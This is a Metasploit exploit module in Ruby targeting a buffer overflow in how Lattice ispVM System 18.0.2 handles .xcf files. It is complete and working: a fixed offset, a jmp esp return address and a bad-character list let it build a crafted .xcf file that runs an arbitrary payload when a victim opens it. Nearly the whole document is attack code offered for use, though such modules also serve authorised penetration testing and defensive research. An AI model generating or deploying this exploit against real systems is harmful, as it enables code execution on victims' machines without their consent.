##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Lattice Semiconductor ispVM System XCF File Handling Overflow",
        'Description' => %q{
          This module exploits a vulnerability found in ispVM System 18.0.2.  Due to the way
          ispVM handles .xcf files, it is possible to cause a buffer overflow with a specially
          crafted file, when a long value is supplied for the version attribute of the ispXCF
          tag. It results in arbitrary code execution under the context of the user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Unknown', # Vulnerability Discovery
          'juan vazquez' # Metasploit
        ],
        'References' => [
          ['CVE', '2012-10057'],
          ['OSVDB', '82000'],
          ['BID', '53562'],
          ['URL', 'http://web.archive.org/web/20121014002756/http://secunia.com/advisories/48740/']
        ],
        'Payload' => {
          'Space' => 4000,
          'BadChars' => "\x00\x1a\x3c\x20\x3e\xff"
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'ispVM System 18.0.2 / Windows XP SP3 / Windows 7 SP1',
            {
              'Offset' => 274,
              'BreakOffset' => 243,
              'Ret' => 0x780e9d6e # jmp esp from C:\ispTOOLS\ispvmsystem\MSVCP60.dll
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-05-16',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.', 'msf.xcf']),
      ]
    )
  end

  def exploit
    buf = rand_text(target['Offset'])
    buf[target['BreakOffset']] = "A"
    buf << [target.ret].pack("V")
    buf << payload.encoded

    xcf = %Q|
    <?xml version='1.0' encoding='utf-8' ?>
    <!DOCTYPE		ispXCF	SYSTEM	"IspXCF.dtd" >
    <ispXCF version="#{buf}">
    </ispXCF>
    |

    file_create(xcf)
  end
end
